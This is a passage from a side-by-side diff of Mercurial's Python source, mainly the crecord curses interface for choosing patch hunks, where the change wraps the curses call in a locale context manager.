2623 ui.write(
2624 ui.write(
2624 _(b'hist: %s (histedit --continue)\n')
2625 _(b'hist: %s (histedit --continue)\n')
2625 % (
2626 % (
2626 ui.label(_(b'%d remaining'), b'histedit.remaining')
2627 ui.label(_(b'%d remaining'), b'histedit.remaining')
2627 % len(state.actions)
2628 % len(state.actions)
2628 )
2629 )
2629 )
2630 )
2630
2631
2631
2632
2632 def extsetup(ui):
2633 def extsetup(ui):
2633 cmdutil.summaryhooks.add(b'histedit', summaryhook)
2634 cmdutil.summaryhooks.add(b'histedit', summaryhook)
2634 statemod.addunfinished(
2635 statemod.addunfinished(
2635 b'histedit',
2636 b'histedit',
2636 fname=b'histedit-state',
2637 fname=b'histedit-state',
2637 allowcommit=True,
2638 allowcommit=True,
2638 continueflag=True,
2639 continueflag=True,
2639 abortfunc=hgaborthistedit,
2640 abortfunc=hgaborthistedit,
2640 )
2641 )
@@ -1,2025 +1,2026 b''
1 # stuff related specifically to patch manipulation / parsing
1 # stuff related specifically to patch manipulation / parsing
2 #
2 #
3 # Copyright 2008 Mark Edgington <edgimar@gmail.com>
3 # Copyright 2008 Mark Edgington <edgimar@gmail.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 #
7 #
8 # This code is based on the Mark Edgington's crecord extension.
8 # This code is based on the Mark Edgington's crecord extension.
9 # (Itself based on Bryan O'Sullivan's record extension.)
9 # (Itself based on Bryan O'Sullivan's record extension.)
10
10
11 from __future__ import absolute_import
11 from __future__ import absolute_import
12
12
13 import os
13 import os
14 import re
14 import re
15 import signal
15 import signal
16
16
17 from .i18n import _
17 from .i18n import _
18 from .pycompat import (
18 from .pycompat import (
19 getattr,
19 getattr,
20 open,
20 open,
21 )
21 )
22 from . import (
22 from . import (
23 encoding,
23 encoding,
24 error,
24 error,
25 patch as patchmod,
25 patch as patchmod,
26 pycompat,
26 pycompat,
27 scmutil,
27 scmutil,
28 util,
28 util,
29 )
29 )
30 from .utils import stringutil
30 from .utils import stringutil
31
31
32 stringio = util.stringio
32 stringio = util.stringio
33
33
34 # patch comments based on the git one
34 # patch comments based on the git one
35 diffhelptext = _(
35 diffhelptext = _(
36 """# To remove '-' lines, make them ' ' lines (context).
36 """# To remove '-' lines, make them ' ' lines (context).
37 # To remove '+' lines, delete them.
37 # To remove '+' lines, delete them.
38 # Lines starting with # will be removed from the patch.
38 # Lines starting with # will be removed from the patch.
39 """
39 """
40 )
40 )
41
41
42 hunkhelptext = _(
42 hunkhelptext = _(
43 """#
43 """#
44 # If the patch applies cleanly, the edited hunk will immediately be
44 # If the patch applies cleanly, the edited hunk will immediately be
45 # added to the record list. If it does not apply cleanly, a rejects file
45 # added to the record list. If it does not apply cleanly, a rejects file
46 # will be generated. You can use that when you try again. If all lines
46 # will be generated. You can use that when you try again. If all lines
47 # of the hunk are removed, then the edit is aborted and the hunk is left
47 # of the hunk are removed, then the edit is aborted and the hunk is left
48 # unchanged.
48 # unchanged.
49 """
49 """
50 )
50 )
51
51
52 patchhelptext = _(
52 patchhelptext = _(
53 """#
53 """#
54 # If the patch applies cleanly, the edited patch will immediately
54 # If the patch applies cleanly, the edited patch will immediately
55 # be finalised. If it does not apply cleanly, rejects files will be
55 # be finalised. If it does not apply cleanly, rejects files will be
56 # generated. You can use those when you try again.
56 # generated. You can use those when you try again.
57 """
57 """
58 )
58 )
59
59
60 try:
60 try:
61 import curses
61 import curses
62 import curses.ascii
62 import curses.ascii
63
63
64 curses.error
64 curses.error
65 except (ImportError, AttributeError):
65 except (ImportError, AttributeError):
66 curses = False
66 curses = False
67
67
68
68
69 class fallbackerror(error.Abort):
69 class fallbackerror(error.Abort):
70 """Error that indicates the client should try to fallback to text mode."""
70 """Error that indicates the client should try to fallback to text mode."""
71
71
72 # Inherits from error.Abort so that existing behavior is preserved if the
72 # Inherits from error.Abort so that existing behavior is preserved if the
73 # calling code does not know how to fallback.
73 # calling code does not know how to fallback.
74
74
75
75
76 def checkcurses(ui):
76 def checkcurses(ui):
77 """Return True if the user wants to use curses
77 """Return True if the user wants to use curses
78
78
79 This method returns True if curses is found (and that python is built with
79 This method returns True if curses is found (and that python is built with
80 it) and that the user has the correct flag for the ui.
80 it) and that the user has the correct flag for the ui.
81 """
81 """
82 return curses and ui.interface(b"chunkselector") == b"curses"
82 return curses and ui.interface(b"chunkselector") == b"curses"
83
83
84
84
85 class patchnode(object):
85 class patchnode(object):
86 """abstract class for patch graph nodes
86 """abstract class for patch graph nodes
87 (i.e. patchroot, header, hunk, hunkline)
87 (i.e. patchroot, header, hunk, hunkline)
88 """
88 """
89
89
90 def firstchild(self):
90 def firstchild(self):
91 raise NotImplementedError(b"method must be implemented by subclass")
91 raise NotImplementedError(b"method must be implemented by subclass")
92
92
93 def lastchild(self):
93 def lastchild(self):
94 raise NotImplementedError(b"method must be implemented by subclass")
94 raise NotImplementedError(b"method must be implemented by subclass")
95
95
96 def allchildren(self):
96 def allchildren(self):
97 """Return a list of all of the direct children of this node"""
97 """Return a list of all of the direct children of this node"""
98 raise NotImplementedError(b"method must be implemented by subclass")
98 raise NotImplementedError(b"method must be implemented by subclass")
99
99
100 def nextsibling(self):
100 def nextsibling(self):
101 """
101 """
102 Return the closest next item of the same type where there are no items
102 Return the closest next item of the same type where there are no items
103 of different types between the current item and this closest item.
103 of different types between the current item and this closest item.
104 If no such item exists, return None.
104 If no such item exists, return None.
105 """
105 """
106 raise NotImplementedError(b"method must be implemented by subclass")
106 raise NotImplementedError(b"method must be implemented by subclass")
107
107
108 def prevsibling(self):
108 def prevsibling(self):
109 """
109 """
110 Return the closest previous item of the same type where there are no
110 Return the closest previous item of the same type where there are no
111 items of different types between the current item and this closest item.
111 items of different types between the current item and this closest item.
112 If no such item exists, return None.
112 If no such item exists, return None.
113 """
113 """
114 raise NotImplementedError(b"method must be implemented by subclass")
114 raise NotImplementedError(b"method must be implemented by subclass")
115
115
116 def parentitem(self):
116 def parentitem(self):
117 raise NotImplementedError(b"method must be implemented by subclass")
117 raise NotImplementedError(b"method must be implemented by subclass")
118
118
119 def nextitem(self, skipfolded=True):
119 def nextitem(self, skipfolded=True):
120 """
120 """
121 Try to return the next item closest to this item, regardless of item's
121 Try to return the next item closest to this item, regardless of item's
122 type (header, hunk, or hunkline).
122 type (header, hunk, or hunkline).
123
123
124 If skipfolded == True, and the current item is folded, then the child
124 If skipfolded == True, and the current item is folded, then the child
125 items that are hidden due to folding will be skipped when determining
125 items that are hidden due to folding will be skipped when determining
126 the next item.
126 the next item.
127
127
128 If it is not possible to get the next item, return None.
128 If it is not possible to get the next item, return None.
129 """
129 """
130 try:
130 try:
131 itemfolded = self.folded
131 itemfolded = self.folded
132 except AttributeError:
132 except AttributeError:
133 itemfolded = False
133 itemfolded = False
134 if skipfolded and itemfolded:
134 if skipfolded and itemfolded:
135 nextitem = self.nextsibling()
135 nextitem = self.nextsibling()
136 if nextitem is None:
136 if nextitem is None:
137 try:
137 try:
138 nextitem = self.parentitem().nextsibling()
138 nextitem = self.parentitem().nextsibling()
139 except AttributeError:
139 except AttributeError:
140 nextitem = None
140 nextitem = None
141 return nextitem
141 return nextitem
142 else:
142 else:
143 # try child
143 # try child
144 item = self.firstchild()
144 item = self.firstchild()
145 if item is not None:
145 if item is not None:
146 return item
146 return item
147
147
148 # else try next sibling
148 # else try next sibling
149 item = self.nextsibling()
149 item = self.nextsibling()
150 if item is not None:
150 if item is not None:
151 return item
151 return item
152
152
153 try:
153 try:
154 # else try parent's next sibling
154 # else try parent's next sibling
155 item = self.parentitem().nextsibling()
155 item = self.parentitem().nextsibling()
156 if item is not None:
156 if item is not None:
157 return item
157 return item
158
158
159 # else return grandparent's next sibling (or None)
159 # else return grandparent's next sibling (or None)
160 return self.parentitem().parentitem().nextsibling()
160 return self.parentitem().parentitem().nextsibling()
161
161
162 except AttributeError: # parent and/or grandparent was None
162 except AttributeError: # parent and/or grandparent was None
163 return None
163 return None
164
164
165 def previtem(self):
165 def previtem(self):
166 """
166 """
167 Try to return the previous item closest to this item, regardless of
167 Try to return the previous item closest to this item, regardless of
168 item's type (header, hunk, or hunkline).
168 item's type (header, hunk, or hunkline).
169
169
170 If it is not possible to get the previous item, return None.
170 If it is not possible to get the previous item, return None.
171 """
171 """
172 # try previous sibling's last child's last child,
172 # try previous sibling's last child's last child,
173 # else try previous sibling's last child, else try previous sibling
173 # else try previous sibling's last child, else try previous sibling
174 prevsibling = self.prevsibling()
174 prevsibling = self.prevsibling()
175 if prevsibling is not None:
175 if prevsibling is not None:
176 prevsiblinglastchild = prevsibling.lastchild()
176 prevsiblinglastchild = prevsibling.lastchild()
177 if (prevsiblinglastchild is not None) and not prevsibling.folded:
177 if (prevsiblinglastchild is not None) and not prevsibling.folded:
178 prevsiblinglclc = prevsiblinglastchild.lastchild()
178 prevsiblinglclc = prevsiblinglastchild.lastchild()
179 if (
179 if (
180 prevsiblinglclc is not None
180 prevsiblinglclc is not None
181 ) and not prevsiblinglastchild.folded:
181 ) and not prevsiblinglastchild.folded:
182 return prevsiblinglclc
182 return prevsiblinglclc
183 else:
183 else:
184 return prevsiblinglastchild
184 return prevsiblinglastchild
185 else:
185 else:
186 return prevsibling
186 return prevsibling
187
187
188 # try parent (or None)
188 # try parent (or None)
189 return self.parentitem()
189 return self.parentitem()
190
190
191
191
192 class patch(patchnode, list): # todo: rename patchroot
192 class patch(patchnode, list): # todo: rename patchroot
193 """
193 """
194 list of header objects representing the patch.
194 list of header objects representing the patch.
195 """
195 """
196
196
197 def __init__(self, headerlist):
197 def __init__(self, headerlist):
198 self.extend(headerlist)
198 self.extend(headerlist)
199 # add parent patch object reference to each header
199 # add parent patch object reference to each header
200 for header in self:
200 for header in self:
201 header.patch = self
201 header.patch = self
202
202
203
203
204 class uiheader(patchnode):
204 class uiheader(patchnode):
205 """patch header
205 """patch header
206
206
207 xxx shouldn't we move this to mercurial/patch.py ?
207 xxx shouldn't we move this to mercurial/patch.py ?
208 """
208 """
209
209
210 def __init__(self, header):
210 def __init__(self, header):
211 self.nonuiheader = header
211 self.nonuiheader = header
212 # flag to indicate whether to apply this chunk
212 # flag to indicate whether to apply this chunk
213 self.applied = True
213 self.applied = True
214 # flag which only affects the status display indicating if a node's
214 # flag which only affects the status display indicating if a node's
215 # children are partially applied (i.e. some applied, some not).
215 # children are partially applied (i.e. some applied, some not).
216 self.partial = False
216 self.partial = False
217
217
218 # flag to indicate whether to display as folded/unfolded to user
218 # flag to indicate whether to display as folded/unfolded to user
219 self.folded = True
219 self.folded = True
220
220
221 # list of all headers in patch
221 # list of all headers in patch
222 self.patch = None
222 self.patch = None
223
223
224 # flag is False if this header was ever unfolded from initial state
224 # flag is False if this header was ever unfolded from initial state
225 self.neverunfolded = True
225 self.neverunfolded = True
226 self.hunks = [uihunk(h, self) for h in self.hunks]
226 self.hunks = [uihunk(h, self) for h in self.hunks]
227
227
228 def prettystr(self):
228 def prettystr(self):
229 x = stringio()
229 x = stringio()
230 self.pretty(x)
230 self.pretty(x)
231 return x.getvalue()
231 return x.getvalue()
232
232
233 def nextsibling(self):
233 def nextsibling(self):
234 numheadersinpatch = len(self.patch)
234 numheadersinpatch = len(self.patch)
235 indexofthisheader = self.patch.index(self)
235 indexofthisheader = self.patch.index(self)
236
236
237 if indexofthisheader < numheadersinpatch - 1:
237 if indexofthisheader < numheadersinpatch - 1:
238 nextheader = self.patch[indexofthisheader + 1]
238 nextheader = self.patch[indexofthisheader + 1]
239 return nextheader
239 return nextheader
240 else:
240 else:
241 return None
241 return None
242
242
243 def prevsibling(self):
243 def prevsibling(self):
244 indexofthisheader = self.patch.index(self)
244 indexofthisheader = self.patch.index(self)
245 if indexofthisheader > 0:
245 if indexofthisheader > 0:
246 previousheader = self.patch[indexofthisheader - 1]
246 previousheader = self.patch[indexofthisheader - 1]
247 return previousheader
247 return previousheader
248 else:
248 else:
249 return None
249 return None
250
250
251 def parentitem(self):
251 def parentitem(self):
252 """
252 """
253 there is no 'real' parent item of a header that can be selected,
253 there is no 'real' parent item of a header that can be selected,
254 so return None.
254 so return None.
255 """
255 """
256 return None
256 return None
257
257
258 def firstchild(self):
258 def firstchild(self):
259 """return the first child of this item, if one exists. otherwise
259 """return the first child of this item, if one exists. otherwise
260 None."""
260 None."""
261 if len(self.hunks) > 0:
261 if len(self.hunks) > 0:
262 return self.hunks[0]
262 return self.hunks[0]
263 else:
263 else:
264 return None
264 return None
265
265
266 def lastchild(self):
266 def lastchild(self):
267 """return the last child of this item, if one exists. otherwise
267 """return the last child of this item, if one exists. otherwise
268 None."""
268 None."""
269 if len(self.hunks) > 0:
269 if len(self.hunks) > 0:
270 return self.hunks[-1]
270 return self.hunks[-1]
271 else:
271 else:
272 return None
272 return None
273
273
274 def allchildren(self):
274 def allchildren(self):
275 """return a list of all of the direct children of this node"""
275 """return a list of all of the direct children of this node"""
276 return self.hunks
276 return self.hunks
277
277
278 def __getattr__(self, name):
278 def __getattr__(self, name):
279 return getattr(self.nonuiheader, name)
279 return getattr(self.nonuiheader, name)
280
280
281
281
282 class uihunkline(patchnode):
282 class uihunkline(patchnode):
283 """represents a changed line in a hunk"""
283 """represents a changed line in a hunk"""
284
284
285 def __init__(self, linetext, hunk):
285 def __init__(self, linetext, hunk):
286 self.linetext = linetext
286 self.linetext = linetext
287 self.applied = True
287 self.applied = True
288 # the parent hunk to which this line belongs
288 # the parent hunk to which this line belongs
289 self.hunk = hunk
289 self.hunk = hunk
290 # folding lines currently is not used/needed, but this flag is needed
290 # folding lines currently is not used/needed, but this flag is needed
291 # in the previtem method.
291 # in the previtem method.
292 self.folded = False
292 self.folded = False
293
293
294 def prettystr(self):
294 def prettystr(self):
295 return self.linetext
295 return self.linetext
296
296
297 def nextsibling(self):
297 def nextsibling(self):
298 numlinesinhunk = len(self.hunk.changedlines)
298 numlinesinhunk = len(self.hunk.changedlines)
299 indexofthisline = self.hunk.changedlines.index(self)
299 indexofthisline = self.hunk.changedlines.index(self)
300
300
301 if indexofthisline < numlinesinhunk - 1:
301 if indexofthisline < numlinesinhunk - 1:
302 nextline = self.hunk.changedlines[indexofthisline + 1]
302 nextline = self.hunk.changedlines[indexofthisline + 1]
303 return nextline
303 return nextline
304 else:
304 else:
305 return None
305 return None
306
306
307 def prevsibling(self):
307 def prevsibling(self):
308 indexofthisline = self.hunk.changedlines.index(self)
308 indexofthisline = self.hunk.changedlines.index(self)
309 if indexofthisline > 0:
309 if indexofthisline > 0:
310 previousline = self.hunk.changedlines[indexofthisline - 1]
310 previousline = self.hunk.changedlines[indexofthisline - 1]
311 return previousline
311 return previousline
312 else:
312 else:
313 return None
313 return None
314
314
315 def parentitem(self):
315 def parentitem(self):
316 """return the parent to the current item"""
316 """return the parent to the current item"""
317 return self.hunk
317 return self.hunk
318
318
319 def firstchild(self):
319 def firstchild(self):
320 """return the first child of this item, if one exists. otherwise
320 """return the first child of this item, if one exists. otherwise
321 None."""
321 None."""
322 # hunk-lines don't have children
322 # hunk-lines don't have children
323 return None
323 return None
324
324
325 def lastchild(self):
325 def lastchild(self):
326 """return the last child of this item, if one exists. otherwise
326 """return the last child of this item, if one exists. otherwise
327 None."""
327 None."""
328 # hunk-lines don't have children
328 # hunk-lines don't have children
329 return None
329 return None
330
330
331
331
332 class uihunk(patchnode):
332 class uihunk(patchnode):
333 """ui patch hunk, wraps a hunk and keep track of ui behavior """
333 """ui patch hunk, wraps a hunk and keep track of ui behavior """
334
334
335 maxcontext = 3
335 maxcontext = 3
336
336
337 def __init__(self, hunk, header):
337 def __init__(self, hunk, header):
338 self._hunk = hunk
338 self._hunk = hunk
339 self.changedlines = [uihunkline(line, self) for line in hunk.hunk]
339 self.changedlines = [uihunkline(line, self) for line in hunk.hunk]
340 self.header = header
340 self.header = header
341 # used at end for detecting how many removed lines were un-applied
341 # used at end for detecting how many removed lines were un-applied
342 self.originalremoved = self.removed
342 self.originalremoved = self.removed
343
343
344 # flag to indicate whether to display as folded/unfolded to user
344 # flag to indicate whether to display as folded/unfolded to user
345 self.folded = True
345 self.folded = True
346 # flag to indicate whether to apply this chunk
346 # flag to indicate whether to apply this chunk
347 self.applied = True
347 self.applied = True
348 # flag which only affects the status display indicating if a node's
348 # flag which only affects the status display indicating if a node's
349 # children are partially applied (i.e. some applied, some not).
349 # children are partially applied (i.e. some applied, some not).
350 self.partial = False
350 self.partial = False
351
351
352 def nextsibling(self):
352 def nextsibling(self):
353 numhunksinheader = len(self.header.hunks)
353 numhunksinheader = len(self.header.hunks)
354 indexofthishunk = self.header.hunks.index(self)
354 indexofthishunk = self.header.hunks.index(self)
355
355
356 if indexofthishunk < numhunksinheader - 1:
356 if indexofthishunk < numhunksinheader - 1:
357 nexthunk = self.header.hunks[indexofthishunk + 1]
357 nexthunk = self.header.hunks[indexofthishunk + 1]
358 return nexthunk
358 return nexthunk
359 else:
359 else:
360 return None
360 return None
361
361
362 def prevsibling(self):
362 def prevsibling(self):
363 indexofthishunk = self.header.hunks.index(self)
363 indexofthishunk = self.header.hunks.index(self)
364 if indexofthishunk > 0:
364 if indexofthishunk > 0:
365 previoushunk = self.header.hunks[indexofthishunk - 1]
365 previoushunk = self.header.hunks[indexofthishunk - 1]
366 return previoushunk
366 return previoushunk
367 else:
367 else:
368 return None
368 return None
369
369
370 def parentitem(self):
370 def parentitem(self):
371 """return the parent to the current item"""
371 """return the parent to the current item"""
372 return self.header
372 return self.header
373
373
374 def firstchild(self):
374 def firstchild(self):
375 """return the first child of this item, if one exists. otherwise
375 """return the first child of this item, if one exists. otherwise
376 None."""
376 None."""
377 if len(self.changedlines) > 0:
377 if len(self.changedlines) > 0:
378 return self.changedlines[0]
378 return self.changedlines[0]
379 else:
379 else:
380 return None
380 return None
381
381
382 def lastchild(self):
382 def lastchild(self):
383 """return the last child of this item, if one exists. otherwise
383 """return the last child of this item, if one exists. otherwise
384 None."""
384 None."""
385 if len(self.changedlines) > 0:
385 if len(self.changedlines) > 0:
386 return self.changedlines[-1]
386 return self.changedlines[-1]
387 else:
387 else:
388 return None
388 return None
389
389
390 def allchildren(self):
390 def allchildren(self):
391 """return a list of all of the direct children of this node"""
391 """return a list of all of the direct children of this node"""
392 return self.changedlines
392 return self.changedlines
393
393
394 def countchanges(self):
394 def countchanges(self):
395 """changedlines -> (n+,n-)"""
395 """changedlines -> (n+,n-)"""
396 add = len(
396 add = len(
397 [
397 [
398 l
398 l
399 for l in self.changedlines
399 for l in self.changedlines
400 if l.applied and l.prettystr().startswith(b'+')
400 if l.applied and l.prettystr().startswith(b'+')
401 ]
401 ]
402 )
402 )
403 rem = len(
403 rem = len(
404 [
404 [
405 l
405 l
406 for l in self.changedlines
406 for l in self.changedlines
407 if l.applied and l.prettystr().startswith(b'-')
407 if l.applied and l.prettystr().startswith(b'-')
408 ]
408 ]
409 )
409 )
410 return add, rem
410 return add, rem
411
411
412 def getfromtoline(self):
412 def getfromtoline(self):
413 # calculate the number of removed lines converted to context lines
413 # calculate the number of removed lines converted to context lines
414 removedconvertedtocontext = self.originalremoved - self.removed
414 removedconvertedtocontext = self.originalremoved - self.removed
415
415
416 contextlen = (
416 contextlen = (
417 len(self.before) + len(self.after) + removedconvertedtocontext
417 len(self.before) + len(self.after) + removedconvertedtocontext
418 )
418 )
419 if self.after and self.after[-1] == b'\\ No newline at end of file\n':
419 if self.after and self.after[-1] == b'\\ No newline at end of file\n':
420 contextlen -= 1
420 contextlen -= 1
421 fromlen = contextlen + self.removed
421 fromlen = contextlen + self.removed
422 tolen = contextlen + self.added
422 tolen = contextlen + self.added
423
423
424 # diffutils manual, section "2.2.2.2 detailed description of unified
424 # diffutils manual, section "2.2.2.2 detailed description of unified
425 # format": "an empty hunk is considered to end at the line that
425 # format": "an empty hunk is considered to end at the line that
426 # precedes the hunk."
426 # precedes the hunk."
427 #
427 #
428 # so, if either of hunks is empty, decrease its line start. --immerrr
428 # so, if either of hunks is empty, decrease its line start. --immerrr
429 # but only do this if fromline > 0, to avoid having, e.g fromline=-1.
429 # but only do this if fromline > 0, to avoid having, e.g fromline=-1.
430 fromline, toline = self.fromline, self.toline
430 fromline, toline = self.fromline, self.toline
431 if fromline != 0:
431 if fromline != 0:
432 if fromlen == 0:
432 if fromlen == 0:
433 fromline -= 1
433 fromline -= 1
434 if tolen == 0 and toline > 0:
434 if tolen == 0 and toline > 0:
435 toline -= 1
435 toline -= 1
436
436
437 fromtoline = b'@@ -%d,%d +%d,%d @@%s\n' % (
437 fromtoline = b'@@ -%d,%d +%d,%d @@%s\n' % (
438 fromline,
438 fromline,
439 fromlen,
439 fromlen,
440 toline,
440 toline,
441 tolen,
441 tolen,
442 self.proc and (b' ' + self.proc),
442 self.proc and (b' ' + self.proc),
443 )
443 )
444 return fromtoline
444 return fromtoline
445
445
446 def write(self, fp):
446 def write(self, fp):
447 # updated self.added/removed, which are used by getfromtoline()
447 # updated self.added/removed, which are used by getfromtoline()
448 self.added, self.removed = self.countchanges()
448 self.added, self.removed = self.countchanges()
449 fp.write(self.getfromtoline())
449 fp.write(self.getfromtoline())
450
450
451 hunklinelist = []
451 hunklinelist = []
452 # add the following to the list: (1) all applied lines, and
452 # add the following to the list: (1) all applied lines, and
453 # (2) all unapplied removal lines (convert these to context lines)
453 # (2) all unapplied removal lines (convert these to context lines)
454 for changedline in self.changedlines:
454 for changedline in self.changedlines:
455 changedlinestr = changedline.prettystr()
455 changedlinestr = changedline.prettystr()
456 if changedline.applied:
456 if changedline.applied:
457 hunklinelist.append(changedlinestr)
457 hunklinelist.append(changedlinestr)
458 elif changedlinestr.startswith(b"-"):
458 elif changedlinestr.startswith(b"-"):
459 hunklinelist.append(b" " + changedlinestr[1:])
459 hunklinelist.append(b" " + changedlinestr[1:])
460
460
461 fp.write(b''.join(self.before + hunklinelist + self.after))
461 fp.write(b''.join(self.before + hunklinelist + self.after))
462
462
463 pretty = write
463 pretty = write
464
464
465 def prettystr(self):
465 def prettystr(self):
466 x = stringio()
466 x = stringio()
467 self.pretty(x)
467 self.pretty(x)
468 return x.getvalue()
468 return x.getvalue()
469
469
470 def reversehunk(self):
470 def reversehunk(self):
471 """return a recordhunk which is the reverse of the hunk
471 """return a recordhunk which is the reverse of the hunk
472
472
473 Assuming the displayed patch is diff(A, B) result. The returned hunk is
473 Assuming the displayed patch is diff(A, B) result. The returned hunk is
474 intended to be applied to B, instead of A.
474 intended to be applied to B, instead of A.
475
475
476 For example, when A is "0\n1\n2\n6\n" and B is "0\n3\n4\n5\n6\n", and
476 For example, when A is "0\n1\n2\n6\n" and B is "0\n3\n4\n5\n6\n", and
477 the user made the following selection:
477 the user made the following selection:
478
478
479 0
479 0
480 [x] -1 [x]: selected
480 [x] -1 [x]: selected
481 [ ] -2 [ ]: not selected
481 [ ] -2 [ ]: not selected
482 [x] +3
482 [x] +3
483 [ ] +4
483 [ ] +4
484 [x] +5
484 [x] +5
485 6
485 6
486
486
487 This function returns a hunk like:
487 This function returns a hunk like:
488
488
489 0
489 0
490 -3
490 -3
491 -4
491 -4
492 -5
492 -5
493 +1
493 +1
494 +4
494 +4
495 6
495 6
496
496
497 Note "4" was first deleted then added. That's because "4" exists in B
497 Note "4" was first deleted then added. That's because "4" exists in B
498 side and "-4" must exist between "-3" and "-5" to make the patch
498 side and "-4" must exist between "-3" and "-5" to make the patch
499 applicable to B.
499 applicable to B.
500 """
500 """
501 dels = []
501 dels = []
502 adds = []
502 adds = []
503 for line in self.changedlines:
503 for line in self.changedlines:
504 text = line.linetext
504 text = line.linetext
505 if line.applied:
505 if line.applied:
506 if text.startswith(b'+'):
506 if text.startswith(b'+'):
507 dels.append(text[1:])
507 dels.append(text[1:])
508 elif text.startswith(b'-'):
508 elif text.startswith(b'-'):
509 adds.append(text[1:])
509 adds.append(text[1:])
510 elif text.startswith(b'+'):
510 elif text.startswith(b'+'):
511 dels.append(text[1:])
511 dels.append(text[1:])
512 adds.append(text[1:])
512 adds.append(text[1:])
513 hunk = [b'-%s' % l for l in dels] + [b'+%s' % l for l in adds]
513 hunk = [b'-%s' % l for l in dels] + [b'+%s' % l for l in adds]
514 h = self._hunk
514 h = self._hunk
515 return patchmod.recordhunk(
515 return patchmod.recordhunk(
516 h.header, h.toline, h.fromline, h.proc, h.before, hunk, h.after
516 h.header, h.toline, h.fromline, h.proc, h.before, hunk, h.after
517 )
517 )
518
518
519 def __getattr__(self, name):
519 def __getattr__(self, name):
520 return getattr(self._hunk, name)
520 return getattr(self._hunk, name)
521
521
522 def __repr__(self):
522 def __repr__(self):
523 return '<hunk %r@%d>' % (self.filename(), self.fromline)
523 return '<hunk %r@%d>' % (self.filename(), self.fromline)
524
524
525
525
526 def filterpatch(ui, chunks, chunkselector, operation=None):
526 def filterpatch(ui, chunks, chunkselector, operation=None):
527 """interactively filter patch chunks into applied-only chunks"""
527 """interactively filter patch chunks into applied-only chunks"""
528 chunks = list(chunks)
528 chunks = list(chunks)
529 # convert chunks list into structure suitable for displaying/modifying
529 # convert chunks list into structure suitable for displaying/modifying
530 # with curses. create a list of headers only.
530 # with curses. create a list of headers only.
531 headers = [c for c in chunks if isinstance(c, patchmod.header)]
531 headers = [c for c in chunks if isinstance(c, patchmod.header)]
532
532
533 # if there are no changed files
533 # if there are no changed files
534 if len(headers) == 0:
534 if len(headers) == 0:
535 return [], {}
535 return [], {}
536 uiheaders = [uiheader(h) for h in headers]
536 uiheaders = [uiheader(h) for h in headers]
537 # let user choose headers/hunks/lines, and mark their applied flags
537 # let user choose headers/hunks/lines, and mark their applied flags
538 # accordingly
538 # accordingly
539 ret = chunkselector(ui, uiheaders, operation=operation)
539 ret = chunkselector(ui, uiheaders, operation=operation)
540 appliedhunklist = []
540 appliedhunklist = []
541 for hdr in uiheaders:
541 for hdr in uiheaders:
542 if hdr.applied and (
542 if hdr.applied and (
543 hdr.special() or len([h for h in hdr.hunks if h.applied]) > 0
543 hdr.special() or len([h for h in hdr.hunks if h.applied]) > 0
544 ):
544 ):
545 appliedhunklist.append(hdr)
545 appliedhunklist.append(hdr)
546 fixoffset = 0
546 fixoffset = 0
547 for hnk in hdr.hunks:
547 for hnk in hdr.hunks:
548 if hnk.applied:
548 if hnk.applied:
549 appliedhunklist.append(hnk)
549 appliedhunklist.append(hnk)
550 # adjust the 'to'-line offset of the hunk to be correct
550 # adjust the 'to'-line offset of the hunk to be correct
551 # after de-activating some of the other hunks for this file
551 # after de-activating some of the other hunks for this file
552 if fixoffset:
552 if fixoffset:
553 # hnk = copy.copy(hnk) # necessary??
553 # hnk = copy.copy(hnk) # necessary??
554 hnk.toline += fixoffset
554 hnk.toline += fixoffset
555 else:
555 else:
556 fixoffset += hnk.removed - hnk.added
556 fixoffset += hnk.removed - hnk.added
557
557
558 return (appliedhunklist, ret)
558 return (appliedhunklist, ret)
559
559
560
560
561 def chunkselector(ui, headerlist, operation=None):
561 def chunkselector(ui, headerlist, operation=None):
562 """
562 """
563 curses interface to get selection of chunks, and mark the applied flags
563 curses interface to get selection of chunks, and mark the applied flags
564 of the chosen chunks.
564 of the chosen chunks.
565 """
565 """
566 ui.write(_(b'starting interactive selection\n'))
566 ui.write(_(b'starting interactive selection\n'))
567 chunkselector = curseschunkselector(headerlist, ui, operation)
567 chunkselector = curseschunkselector(headerlist, ui, operation)
568 origsigtstp = sentinel = object()
568 origsigtstp = sentinel = object()
569 if util.safehasattr(signal, b'SIGTSTP'):
569 if util.safehasattr(signal, b'SIGTSTP'):
570 origsigtstp = signal.getsignal(signal.SIGTSTP)
570 origsigtstp = signal.getsignal(signal.SIGTSTP)
571 try:
571 try:
572 curses.wrapper(chunkselector.main)
572 with util.with_lc_ctype():
573 curses.wrapper(chunkselector.main)
573 if chunkselector.initexc is not None:
574 if chunkselector.initexc is not None:
574 raise chunkselector.initexc
575 raise chunkselector.initexc
575 # ncurses does not restore signal handler for SIGTSTP
576 # ncurses does not restore signal handler for SIGTSTP
576 finally:
577 finally:
577 if origsigtstp is not sentinel:
578 if origsigtstp is not sentinel:
578 signal.signal(signal.SIGTSTP, origsigtstp)
579 signal.signal(signal.SIGTSTP, origsigtstp)
579 return chunkselector.opts
580 return chunkselector.opts
580
581
581
582
582 def testdecorator(testfn, f):
583 def testdecorator(testfn, f):
583 def u(*args, **kwargs):
584 def u(*args, **kwargs):
584 return f(testfn, *args, **kwargs)
585 return f(testfn, *args, **kwargs)
585
586
586 return u
587 return u
587
588
588
589
589 def testchunkselector(testfn, ui, headerlist, operation=None):
590 def testchunkselector(testfn, ui, headerlist, operation=None):
590 """
591 """
591 test interface to get selection of chunks, and mark the applied flags
592 test interface to get selection of chunks, and mark the applied flags
592 of the chosen chunks.
593 of the chosen chunks.
593 """
594 """
594 chunkselector = curseschunkselector(headerlist, ui, operation)
595 chunkselector = curseschunkselector(headerlist, ui, operation)
595
596
596 class dummystdscr(object):
597 class dummystdscr(object):
597 def clear(self):
598 def clear(self):
598 pass
599 pass
599
600
600 def refresh(self):
601 def refresh(self):
601 pass
602 pass
602
603
603 chunkselector.stdscr = dummystdscr()
604 chunkselector.stdscr = dummystdscr()
604 if testfn and os.path.exists(testfn):
605 if testfn and os.path.exists(testfn):
605 testf = open(testfn, 'r')
606 testf = open(testfn, 'r')
606 testcommands = [x.rstrip('\n') for x in testf.readlines()]
607 testcommands = [x.rstrip('\n') for x in testf.readlines()]
607 testf.close()
608 testf.close()
608 while True:
609 while True:
609 if chunkselector.handlekeypressed(testcommands.pop(0), test=True):
610 if chunkselector.handlekeypressed(testcommands.pop(0), test=True):
610 break
611 break
611 return chunkselector.opts
612 return chunkselector.opts
612
613
613
614
614 _headermessages = { # {operation: text}
